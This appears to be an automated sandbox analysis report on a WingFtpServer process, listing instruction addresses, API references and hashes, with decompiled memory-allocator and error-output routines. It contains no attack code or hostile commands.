0x03aa5a49
0x03aa5a4b
0x03aa5a4b
0x03aa5a50
0x03aa5a58
0x00000000
0x00000000
0x03aa5a5a
0x03aa5a5c
0x03aa5a63
0x00000000
0x03aa5a65
0x03aa5a67
0x03aa5a6c
0x03aa5a71
0x03aa5a79
0x03aa5a7d
0x00000000
0x03aa5a7d
0x03aa5a79
0x00000000
0x03aa5a63
0x03aa5a4b
0x03aa5a84
0x03aa5a88
0x03aa5a88
0x03aa5a8e
0x03aa5b00
0x03aa5b04
0x03aa5b0a
0x03aa5b0c
0x03aa5b34
0x03aa5b38
0x03aa5b3a
0x03aa5b3f
0x03aa5b41
0x03aa5b43
0x00000000
0x03aa5b45
0x03aa5b45
0x03aa5b4a
0x03aa5b4c
0x03aa5b4d
0x03aa5b4e
0x03aa5b4f
0x03aa5b4f
0x03aa5b0e
0x03aa5b0e
0x03aa5b14
0x03aa5b18
0x03aa5b1e
0x03aa5b20
0x03aa5b22
0x03aa5b22
0x03aa5b24
0x03aa5b26
0x03aa5b2c
0x00000000
0x03aa5b2c
0x03aa5a90
0x03aa5a90
0x03aa5a93
0x03aa5a9a
0x03aa5aa1
0x03aa5aa4
0x03aa5aa7
0x03aa5aae
0x03aa5ab1
0x03aa5ab4
0x03aa5ab7
0x03aa5ab9
0x03aa5abb
0x03aa5abd
0x03aa5ac2
0x03aa5ac4
0x03aa5ac4
0x03aa5ac4
0x03aa5acb
0x03aa5acd
0x03aa5acd
0x03aa5acb
0x03aa5ad4
0x03aa5ad9
0x03aa5adc
0x03aa5ae2
0x03aa5b50
0x03aa5b50
0x03aa5b50
0x03aa5ae4
0x03aa5ae4
0x03aa5ae6
0x03aa5aea
0x03aa5aec
0x03aa5aef
0x03aa5af2
0x03aa5af5
0x03aa5af9
0x03aa5af9
0x03aa5b55
0x03aa5b55
0x03aa5b55
0x03aa5b58
0x03aa5b5b
0x03aa5b5d
0x03aa5b62
0x03aa5b64
0x03aa5b67
0x03aa5b6e
0x03aa5b71
0x03aa5b71
0x03aa5b74
0x03aa5b78
0x03aa5b7b
0x03aa5b7e
0x03aa5b80
0x03aa5b80
0x03aa5b82
0x03aa5b85
0x03aa5b88
0x03aa5b8b
0x03aa5b8c
0x03aa5b8d
0x03aa5b8e
0x03aa5b8e
0x03aa59ca
0x03aa59ca
0x03aa59ca
0x03aa59ca
0x03aa59ce
0x03aa59d1
0x03aa59d4
0x03aa59d7
0x03aa59d8
0x03aa59d8
0x03aa59a5
0x03aa59a5
0x03aa59a9
0x03aa59a9
0x03aa59ac
0x03aa59af
0x03aa59b2
0x03aa59dc
0x03aa59df
0x03aa59e2
0x03aa59e5
0x03aa59e8
0x03aa59e9
0x03aa59b4
0x03aa59b4
0x03aa59b7
0x03aa59b8
0x03aa59b8
0x03aa59b2
0x03aa59a3

APIs

Sleep.KERNEL32(00000000,000000FF,03AA620C,00000000,03AAE153,00000000,03AAE699,00000000,03AAE95B,00000000,03AAE991), ref: 03AA5A23
Sleep.KERNEL32(0000000A,00000000,000000FF,03AA620C,00000000,03AAE153,00000000,03AAE699,00000000,03AAE95B,00000000,03AAE991), ref: 03AA5A39
Sleep.KERNEL32(00000000,00000000,?,000000FF,03AA620C,00000000,03AAE153,00000000,03AAE699,00000000,03AAE95B,00000000,03AAE991), ref: 03AA5A67
Sleep.KERNEL32(0000000A,00000000,00000000,?,000000FF,03AA620C,00000000,03AAE153,00000000,03AAE699,00000000,03AAE95B,00000000,03AAE991), ref: 03AA5A7D

Strings

@., xrefs: 03AA5B04, 03AA5B26, 03AA5C3C, 03AA5C52

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Sleep
String ID: @.
API String ID: 3472027048-4201455939
Opcode ID: 93b54ee2f1893a9c15568d02bdad5edf0f9e65074126b3213a75f7db2b83726c
Instruction ID: 34f6e7d4b93dbf4932ff507dd7b2b1156cad623a4a81a339296b8b541c23281c
Opcode Fuzzy Hash: 93b54ee2f1893a9c15568d02bdad5edf0f9e65074126b3213a75f7db2b83726c
Instruction Fuzzy Hash: 4CC15777A02B118FC719DF2CD59431AFBE0AB86314F0981AFD4998F78AE3709454CB85

Uniqueness

Uniqueness Score: -1.00%

Function 03AA5CF0 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E03AA5CF0(void* __eax, signed int __edi, void* __ebp) {
				struct _MEMORY_BASIC_INFORMATION _v44;
				void* _v48;
				signed int __ebx;
				void* _t58;
				signed int _t61;
				signed int _t67;
				void _t70;
				int _t71;
				signed int _t78;
				void* _t79;
				signed int _t81;
				intOrPtr _t82;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				signed int _t92;
				void* _t96;
				signed int _t99;
				void* _t103;
				intOrPtr _t104;
				void* _t106;
				void* _t108;
				signed int _t113;
				void* _t115;
				void* _t116;

				_t56 = __eax;
				_t89 =  *(__eax - 4);
				_t78 =  *0x3bd305d; // 0x0
				if((_t89 & 0x00000007) != 0) {
					__eflags = _t89 & 0x00000005;
					if((_t89 & 0x00000005) != 0) {
						_pop(_t78);
						__eflags = _t89 & 0x00000003;
						if((_t89 & 0x00000003) == 0) {
							_push(_t78);
							_push(__edi);
							_t116 = _t115 + 0xffffffdc;
							_t103 = __eax - 0x10;
							E03AA56CC();
							_t58 = _t103;
							 *_t116 =  *_t58;
							_v48 =  *((intOrPtr*)(_t58 + 4));
							_t92 =  *(_t58 + 0xc);
							if((_t92 & 0x00000008) != 0) {
								_t79 = _t103;
								_t113 = _t92 & 0xfffffff0;
								_t99 = 0;
								__eflags = 0;
								while(1) {
									VirtualQuery(_t79,  &_v44, 0x1c);
									_t61 = VirtualFree(_t79, 0, 0x8000);
									__eflags = _t61;
									if(_t61 == 0) {
										_t99 = _t99 | 0xffffffff;
										goto L10;
									}
									_t104 = _v44.RegionSize;
									__eflags = _t113 - _t104;
									if(_t113 > _t104) {
										_t113 = _t113 - _t104;
										_t79 = _t79 + _t104;
										continue;
									}
									goto L10;
								}
							} else {
								if(VirtualFree(_t103, 0, 0x8000) == 0) {
									_t99 = __edi | 0xffffffff;
								} else {
									_t99 = 0;
								}
							}
							L10:
							if(_t99 == 0) {
								 *_v48 =  *_t116;
								 *( *_t116 + 4) = _v48;
							}
							 *0x3bd5b7c = 0;
							return _t99;
						} else {
							return 0xffffffff;
						}
					} else {
						goto L31;
					}
				} else {
					__eflags = __bl;
					__ebx =  *__edx;
					if(__eflags != 0) {
						while(1) {
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__eflags == 0) {
								goto L14;
							}
							asm("pause");
							__eflags =  *0x3bd398d;
							if(__eflags != 0) {
								continue;
							} else {
								Sleep(0);
								__edx = __edx;
								__ecx = __ecx;
								__eax = 0x100;
								asm("lock cmpxchg [ebx], ah");
								if(__eflags != 0) {
									Sleep(0xa);
									__edx = __edx;
									__ecx = __ecx;
									continue;
								}
							}
							goto L14;
						}
					}
					L14:
					_t14 = __edx + 0x14;
					 *_t14 =  *(__edx + 0x14) - 1;
					__eflags =  *_t14;
					__eax =  *(__edx + 0x10);
					if( *_t14 == 0) {
						__eflags = __eax;
						if(__eax == 0) {
							L20:
							 *(__ebx + 0x14) = __eax;
						} else {
							__eax =  *(__edx + 0xc);
							__ecx =  *(__edx + 8);
							 *(__eax + 8) = __ecx;
							 *(__ecx + 0xc) = __eax;
							__eax = 0;
							__eflags =  *((intOrPtr*)(__ebx + 0x18)) - __edx;
							if( *((intOrPtr*)(__ebx + 0x18)) == __edx) {
								goto L20;
							}
						}
						 *__ebx = __al;
						__eax = __edx;
						__edx =  *(__edx - 4);
						__bl =  *0x3bd305d; // 0x0
						L31:
						__eflags = _t78;
						_t81 = _t89 & 0xfffffff0;
						_push(_t101);
						_t106 = _t56;
						if(__eflags != 0) {
							while(1) {
								_t67 = 0x100;
								asm("lock cmpxchg [0x3bd3aec], ah");
								if(__eflags == 0) {
									goto L32;
								}
								asm("pause");
								__eflags =  *0x3bd398d;
								if(__eflags != 0) {
									continue;
								} else {
									Sleep(0);
									_t67 = 0x100;
									asm("lock cmpxchg [0x3bd3aec], ah");
									if(__eflags != 0) {
										Sleep(0xa);
										continue;
									}
								}
								goto L32;
							}
						}
						L32:
						__eflags = (_t106 - 4)[_t81] & 0x00000001;
						_t87 = (_t106 - 4)[_t81];
						if(((_t106 - 4)[_t81] & 0x00000001) != 0) {
							_t67 = _t81 + _t106;
							_t88 = _t87 & 0xfffffff0;
							_t81 = _t81 + _t88;
							__eflags = _t88 - 0xb30;
							if(_t88 >= 0xb30) {
								_t67 = E03AA5544(_t67);
							}
						} else {
							_t88 = _t87 | 0x00000008;
							__eflags = _t88;
							(_t106 - 4)[_t81] = _t88;
						}
						__eflags =  *(_t106 - 4) & 0x00000008;
						if(( *(_t106 - 4) & 0x00000008) != 0) {
							_t88 =  *(_t106 - 8);
							_t106 = _t106 - _t88;
							_t81 = _t81 + _t88;
							__eflags = _t88 - 0xb30;
							if(_t88 >= 0xb30) {
								_t67 = E03AA5544(_t106);
							}
						}
						__eflags = _t81 - 0x13ffe0;
						if(_t81 == 0x13ffe0) {
							__eflags =  *0x3bd3af4 - 0x13ffe0;
							if( *0x3bd3af4 != 0x13ffe0) {
								_t82 = _t106 + 0x13ffe0;
								E03AA55E4(_t67);
								 *((intOrPtr*)(_t82 - 4)) = 2;
								 *0x3bd3af4 = 0x13ffe0;
								 *0x3bd3af0 = _t82;
								 *0x3bd3aec = 0;
								__eflags = 0;
								return 0;
							} else {
								_t108 = _t106 - 0x10;
								_t70 =  *_t108;
								_t96 =  *(_t108 + 4);
								 *(_t70 + 4) = _t96;
								 *_t96 = _t70;
								 *0x3bd3aec = 0;
								_t71 = VirtualFree(_t108, 0, 0x8000);
								__eflags = _t71 - 1;
								asm("sbb eax, eax");
								return _t71;
							}
						} else {
							 *(_t106 - 4) = _t81 + 3;
							 *(_t106 - 8 + _t81) = _t81;
							E03AA5584(_t106, _t88, _t81);
							 *0x3bd3aec = 0;
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags = __eax;
						 *(__edx + 0x10) = __ecx;
						 *(__ecx - 4) = __eax;
						if(__eflags == 0) {
							__ecx =  *(__ebx + 8);
							 *(__edx + 0xc) = __ebx;
							 *(__edx + 8) = __ecx;
							 *(__ecx + 0xc) = __edx;
							 *(__ebx + 8) = __edx;
							 *__ebx = 0;
							__eax = 0;
							__eflags = 0;
							_pop(__ebx);
							return 0;
						} else {
							__eax = 0;
							__eflags = 0;
							 *__ebx = __al;
							_pop(__ebx);
							return 0;
						}
					}
				}
			}

0x03aa5cf0
0x03aa5cf0
0x03aa5cf9
0x03aa5cff
0x03aa5de8
0x03aa5deb
0x03aa5ed8
0x03aa5ed9
0x03aa5edc
0x03aa577c
0x03aa577e
0x03aa5780
0x03aa5785
0x03aa5788
0x03aa578d
0x03aa5791
0x03aa5797
0x03aa579b
0x03aa57a1
0x03aa57bd
0x03aa57c1
0x03aa57c4
0x03aa57c4
0x03aa57c6
0x03aa57ce
0x03aa57db
0x03aa57e0
0x03aa57e2
0x03aa57e4
0x03aa57e7
0x03aa57e7
0x03aa57e9
0x03aa57ed
0x03aa57ef
0x03aa57f1
0x03aa57f3
0x00000000
0x03aa57f3
0x00000000
0x03aa57ef
0x03aa57a3
0x03aa57b2
0x03aa57b8
0x03aa57b4
0x03aa57b4
0x03aa57b4
0x03aa57b2
0x03aa57f7
0x03aa57f9
0x03aa5802
0x03aa580b
0x03aa580b
0x03aa580e
0x03aa581e
0x03aa5ee2
0x03aa5ee7
0x03aa5ee7
0x00000000
0x00000000
0x00000000
0x03aa5d05
0x03aa5d05
0x03aa5d07
0x03aa5d09
0x03aa5d6c
0x03aa5d6c
0x03aa5d71
0x03aa5d75
0x00000000
0x00000000
0x03aa5d77
0x03aa5d79
0x03aa5d80
0x00000000
0x03aa5d82
0x03aa5d86
0x03aa5d8b
0x03aa5d8c
0x03aa5d8d
0x03aa5d92
0x03aa5d96
0x03aa5da0
0x03aa5da5
0x03aa5da6
0x00000000
0x03aa5da6
0x03aa5d96
0x00000000
0x03aa5d80
0x03aa5d6c
0x03aa5d0b
0x03aa5d0b
0x03aa5d0b
0x03aa5d0b
0x03aa5d0f
0x03aa5d12
0x03aa5d40
0x03aa5d42
0x03aa5d57
0x03aa5d57
0x03aa5d44
0x03aa5d44
0x03aa5d47
0x03aa5d4a
0x03aa5d4d
0x03aa5d50
0x03aa5d52
0x03aa5d55
0x00000000
0x00000000
0x03aa5d55
0x03aa5d5a
0x03aa5d5c
0x03aa5d5e
0x03aa5d61
0x03aa5df1
0x03aa5df4
0x03aa5df6
0x03aa5df8
0x03aa5df9
0x03aa5dfb
0x03aa5dac
0x03aa5dac
0x03aa5db1
0x03aa5db9
0x00000000
0x00000000
0x03aa5dbb
0x03aa5dbd
0x03aa5dc4
0x00000000
0x03aa5dc6
0x03aa5dc8
0x03aa5dcd
0x03aa5dd2
0x03aa5dda
0x03aa5dde
0x00000000
0x03aa5dde
0x03aa5dda
0x00000000
0x03aa5dc4
0x03aa5dac
0x03aa5dfd
0x03aa5dfd
0x03aa5e05
0x03aa5e09
0x03aa5e40
0x03aa5e43
0x03aa5e46
0x03aa5e48
0x03aa5e4e
0x03aa5e50
0x03aa5e50
0x03aa5e0b
0x03aa5e0b
0x03aa5e0b
0x03aa5e0e
0x03aa5e0e
0x03aa5e12
0x03aa5e16
0x03aa5e58
0x03aa5e5b
0x03aa5e5d
0x03aa5e5f
0x03aa5e65
0x03aa5e69
0x03aa5e69
0x03aa5e65
0x03aa5e18
0x03aa5e1e
0x03aa5e70
0x03aa5e7a
0x03aa5ea8
0x03aa5eae
0x03aa5eb3
0x03aa5eba
0x03aa5ec4
0x03aa5eca
0x03aa5ed1
0x03aa5ed5
0x03aa5e7c
0x03aa5e7c
0x03aa5e7f
0x03aa5e81
0x03aa5e84
0x03aa5e87
0x03aa5e89
0x03aa5e98
0x03aa5e9d
0x03aa5ea0
0x03aa5ea4
0x03aa5ea4
0x03aa5e20
0x03aa5e23
0x03aa5e26
0x03aa5e2e
0x03aa5e33
0x03aa5e3a
0x03aa5e3e
0x03aa5e3e
0x03aa5d14
0x03aa5d14
0x03aa5d16
0x03aa5d1c
0x03aa5d1f
0x03aa5d28
0x03aa5d2b
0x03aa5d2e
0x03aa5d31
0x03aa5d34
0x03aa5d37
0x03aa5d3a
0x03aa5d3a
0x03aa5d3c
0x03aa5d3d
0x03aa5d21
0x03aa5d21
0x03aa5d21
0x03aa5d23
0x03aa5d25
0x03aa5d26
0x03aa5d26
0x03aa5d1f
0x03aa5d12

APIs

Sleep.KERNEL32(00000000,?,?,00000000,03AAE0AC,03AAE112,?,00000000,?,?,03AAE46D,00000000,?,00000000,03AAE96E,00000000), ref: 03AA5D86
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,03AAE0AC,03AAE112,?,00000000,?,?,03AAE46D,00000000,?,00000000,03AAE96E), ref: 03AA5DA0

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5821c6e3cb7cc4653c880ba044b62aa7717c319f1cc1bde19087bb956b7d5491
Instruction ID: c33fc72478b1b1361f6e2e5f95dc8d89790dc8e891bb0bfa0f085c98017c5b42
Opcode Fuzzy Hash: 5821c6e3cb7cc4653c880ba044b62aa7717c319f1cc1bde19087bb956b7d5491
Instruction Fuzzy Hash: 6271D437A05B408FD715DB6CC984B1ABBE4AB47314F1882AFD4C88B396D771C845CB99

Uniqueness

Uniqueness Score: -1.00%

Function 03AC6B18 Relevance: 12.1, APIs: 8, Instructions: 97
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E03AC6B18(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char* _v8;
				long _v12;
				short _v140;
				short _v2188;
				void* _t15;
				char* _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t30;
				long _t48;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t61;
				void* _t64;

				_push(__ebx);
				_push(__esi);
				_v8 = 0;
				_push(_t64);
				_push(0x3ac6c3d);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t64 + 0xfffff778;
				_t61 = E03AC6920(_t15, __ebx,  &_v2188, __edx, __edi, __esi, 0x400);
				_t17 =  *0x3bd2480; // 0x3bd305c
				if( *_t17 == 0) {
					_t19 =  *0x3bd214c; // 0x3ab2afc
					_t11 = _t19 + 4; // 0xffed
					_t21 =  *0x3bd6634; // 0x3aa0000
					LoadStringW(E03AAC530(_t21),  *_t11,  &_v140, 0x40);
					MessageBoxW(0,  &_v2188,  &_v140, 0x2010);
				} else {
					_t30 =  *0x3bd21a0; // 0x3bd3344
					E03AA7004(E03AA75EC(_t30));
					_t48 = WideCharToMultiByte(1, 0,  &_v2188, _t61, 0, 0, 0, 0);
					_push(_t48);
					E03AAC140();
					WideCharToMultiByte(1, 0,  &_v2188, _t61, _v8, _t48, 0, 0);
					WriteFile(GetStdHandle(0xfffffff4), _v8, _t48,  &_v12, 0);
					WriteFile(GetStdHandle(0xfffffff4), 0x3ac6c58, 2,  &_v12, 0);
				}
				_pop(_t56);
				 *[fs:eax] = _t56;
				_push(0x3ac6c44);
				_t57 =  *0x3ac6ae8; // 0x3ac6aec
				return E03AAC264( &_v8, _t57);
			}

0x03ac6b21
0x03ac6b22
0x03ac6b25
0x03ac6b2a
0x03ac6b2b
0x03ac6b30
0x03ac6b33
0x03ac6b46
0x03ac6b48
0x03ac6b50
0x03ac6bee
0x03ac6bf3
0x03ac6bf7
0x03ac6c02
0x03ac6c1c
0x03ac6b56
0x03ac6b56
0x03ac6b60
0x03ac6b7e
0x03ac6b80
0x03ac6b8f
0x03ac6bac
0x03ac6bc4
0x03ac6bde
0x03ac6bde
0x03ac6c23
0x03ac6c26
0x03ac6c29
0x03ac6c31
0x03ac6c3c

APIs

Part of subcall function 03AC6920: VirtualQuery.KERNEL32(?,?,0000001C,00000000,03AC6ACC), ref: 03AC6953
Part of subcall function 03AC6920: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 03AC6977
Part of subcall function 03AC6920: GetModuleFileNameW.KERNEL32(MZP,?,00000105), ref: 03AC6992
Part of subcall function 03AC6920: LoadStringW.USER32(00000000,0000FFEC,?,00000100), ref: 03AC6A2D

WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,03AC6C3D), ref: 03AC6B79
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 03AC6BAC
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 03AC6BBE
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 03AC6BC4
GetStdHandle.KERNEL32(000000F4,03AC6C58,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 03AC6BD8
WriteFile.KERNEL32(00000000,000000F4,03AC6C58,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 03AC6BDE
LoadStringW.USER32(00000000,0000FFED,?,00000040), ref: 03AC6C02
MessageBoxW.USER32(00000000,?,?,00002010), ref: 03AC6C1C

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID:
API String ID: 135118572-0
Opcode ID: e685b2e99b0a9b7fc0de0fea8cf8ef9601a06c1b909c76134508c8d749729a4e
Instruction ID: f0ab086c42db4105beeb9030752a51a1fae87539366c5eb456e5b0348f37ef84
Opcode Fuzzy Hash: e685b2e99b0a9b7fc0de0fea8cf8ef9601a06c1b909c76134508c8d749729a4e
Instruction Fuzzy Hash: 1E319176650304BFEB18E694CE81FEA77BCEB04700F508567B604EF6D1DA70AE408B64

Uniqueness

Uniqueness Score: -1.00%

Function 03AA5EE8 Relevance: 10.9, APIs: 7, Instructions: 406
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E03AA5EE8(signed int __eax, signed int __edx, void* __edi) {
				signed int __ebx;
				void* __esi;
				signed int _t69;
				signed int _t78;
				signed int _t93;
				long _t94;
				void* _t100;
				signed int _t102;
				signed int _t109;
				signed int _t115;
				signed int _t123;
				signed int _t129;
				void* _t131;
				signed int _t140;
				unsigned int _t148;
				signed int _t150;
				long _t152;
				signed int _t156;
				intOrPtr _t161;
				signed int _t166;
				signed int _t170;
				unsigned int _t171;
				intOrPtr _t174;
				intOrPtr _t192;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				void* _t205;
				unsigned int _t207;
				signed int _t213;
				void* _t225;
				signed int _t227;
				signed int _t228;
				signed int _t230;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t238;
				signed int _t241;
				void* _t243;
				intOrPtr* _t244;

				_t176 = __edx;
				_t66 = __eax;
				_t166 =  *(__eax - 4);
				_t217 = __eax;
				if((_t166 & 0x00000007) != 0) {
					__eflags = _t166 & 0x00000005;
					if((_t166 & 0x00000005) != 0) {
						_pop(_t217);
						_pop(_t145);
						__eflags = _t166 & 0x00000003;
						if((_t166 & 0x00000003) == 0) {
							_push(_t145);
							_push(__eax);
							_push(__edi);
							_push(_t225);
							_t244 = _t243 + 0xffffffe0;
							_t218 = __edx;
							_t202 = __eax;
							_t69 =  *(__eax - 4);
							_t148 = (0xfffffff0 & _t69) - 0x14;
							if(0xfffffff0 >= __edx) {
								__eflags = __edx - _t148 >> 1;
								if(__edx < _t148 >> 1) {
									_t150 = E03AA596C(__edx);
									__eflags = _t150;
									if(_t150 != 0) {
										__eflags = _t218 - 0x40a2c;
										if(_t218 > 0x40a2c) {
											_t78 = _t202 - 0x10;
											__eflags = _t78;
											 *((intOrPtr*)(_t78 + 8)) = _t218;
										}
										E03AA5528(_t202, _t218, _t150);
										E03AA5CF0(_t202, _t202, _t225);
									}
								} else {
									_t150 = __eax;
									 *((intOrPtr*)(__eax - 0x10 + 8)) = __edx;
								}
							} else {
								if(0xfffffff0 <= __edx) {
									_t227 = __edx;
								} else {
									_t227 = 0xbadb9d;
								}
								 *_t244 = _t202 - 0x10 + (_t69 & 0xfffffff0);
								VirtualQuery( *(_t244 + 8), _t244 + 8, 0x1c);
								if( *((intOrPtr*)(_t244 + 0x14)) != 0x10000) {
									L12:
									_t150 = E03AA596C(_t227);
									__eflags = _t150;
									if(_t150 != 0) {
										__eflags = _t227 - 0x40a2c;
										if(_t227 > 0x40a2c) {
											_t93 = _t150 - 0x10;
											__eflags = _t93;
											 *((intOrPtr*)(_t93 + 8)) = _t218;
										}
										E03AA54F8(_t202,  *((intOrPtr*)(_t202 - 0x10 + 8)), _t150);
										E03AA5CF0(_t202, _t202, _t227);
									}
								} else {
									 *(_t244 + 0x10) =  *(_t244 + 0x10) & 0xffff0000;
									_t94 =  *(_t244 + 0x10);
									if(_t218 - _t148 >= _t94) {
										goto L12;
									} else {
										_t152 = _t227 - _t148 + 0x00010000 - 0x00000001 & 0xffff0000;
										if(_t94 < _t152) {
											_t152 = _t94;
										}
										if(VirtualAlloc( *(_t244 + 0xc), _t152, 0x2000, 4) == 0 || VirtualAlloc( *(_t244 + 0xc), _t152, 0x1000, 4) == 0) {
											goto L12;
										} else {
											_t100 = _t202 - 0x10;
											 *((intOrPtr*)(_t100 + 8)) = _t218;
											 *(_t100 + 0xc) = _t152 +  *(_t100 + 0xc) | 0x00000008;
											_t150 = _t202;
										}
									}
								}
							}
							return _t150;
						} else {
							__eflags = 0;
							return 0;
						}
					} else {
						_t170 = _t166 & 0xfffffff0;
						_push(__edi);
						_t205 = _t170 + __eax;
						_t171 = _t170 - 4;
						_t156 = _t166 & 0x0000000f;
						__eflags = __edx - _t171;
						_push(_t225);
						if(__edx > _t171) {
							_t102 =  *(_t205 - 4);
							__eflags = _t102 & 0x00000001;
							if((_t102 & 0x00000001) == 0) {
								L75:
								asm("adc edi, 0xffffffff");
								_t228 = ((_t171 >> 0x00000002) + _t171 - _t176 & 0) + _t176;
								_t207 = _t171;
								_t109 = E03AA596C(((_t171 >> 0x00000002) + _t171 - _t176 & 0) + _t176);
								_t192 = _t176;
								__eflags = _t109;
								if(_t109 == 0) {
									goto L73;
								} else {
									__eflags = _t228 - 0x40a2c;
									if(_t228 > 0x40a2c) {
										 *((intOrPtr*)(_t109 - 8)) = _t192;
									}
									_t230 = _t109;
									E03AA54F8(_t217, _t207, _t109);
									E03AA5CF0(_t217, _t207, _t230);
									return _t230;
								}
							} else {
								_t115 = _t102 & 0xfffffff0;
								_t232 = _t171 + _t115;
								__eflags = __edx - _t232;
								if(__edx > _t232) {
									goto L75;
								} else {
									__eflags =  *0x3bd305d;
									if(__eflags == 0) {
										L66:
										__eflags = _t115 - 0xb30;
										if(_t115 >= 0xb30) {
											E03AA5544(_t205);
											_t176 = _t176;
											_t171 = _t171;
										}
										asm("adc edi, 0xffffffff");
										_t123 = (_t176 + ((_t171 >> 0x00000002) + _t171 - _t176 & 0) + 0x000000d3 & 0xffffff00) + 0x30;
										_t195 = _t232 + 4 - _t123;
										__eflags = _t195;
										if(_t195 > 0) {
											 *(_t217 + _t232 - 4) = _t195;
											 *((intOrPtr*)(_t217 - 4 + _t123)) = _t195 + 3;
											_t233 = _t123;
											__eflags = _t195 - 0xb30;
											if(_t195 >= 0xb30) {
												__eflags = _t123 + _t217;
												E03AA5584(_t123 + _t217, _t171, _t195);
											}
										} else {
											 *(_t217 + _t232) =  *(_t217 + _t232) & 0xfffffff7;
											_t233 = _t232 + 4;
										}
										_t234 = _t233 | _t156;
										__eflags = _t234;
										 *(_t217 - 4) = _t234;
										 *0x3bd3aec = 0;
										_t109 = _t217;
										L73:
										return _t109;
									} else {
										while(1) {
											asm("lock cmpxchg [0x3bd3aec], ah");
											if(__eflags == 0) {
												break;
											}
											asm("pause");
											__eflags =  *0x3bd398d;
											if(__eflags != 0) {
												continue;
											} else {
												Sleep(0);
												_t176 = _t176;
												_t171 = _t171;
												asm("lock cmpxchg [0x3bd3aec], ah");
												if(__eflags != 0) {
													Sleep(0xa);
													_t176 = _t176;
													_t171 = _t171;
													continue;
												}
											}
											break;
										}
